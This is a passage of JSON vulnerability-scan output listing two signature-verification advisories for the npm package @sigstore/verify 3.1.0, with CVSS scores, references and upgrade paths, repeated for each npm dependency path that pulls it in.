Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": 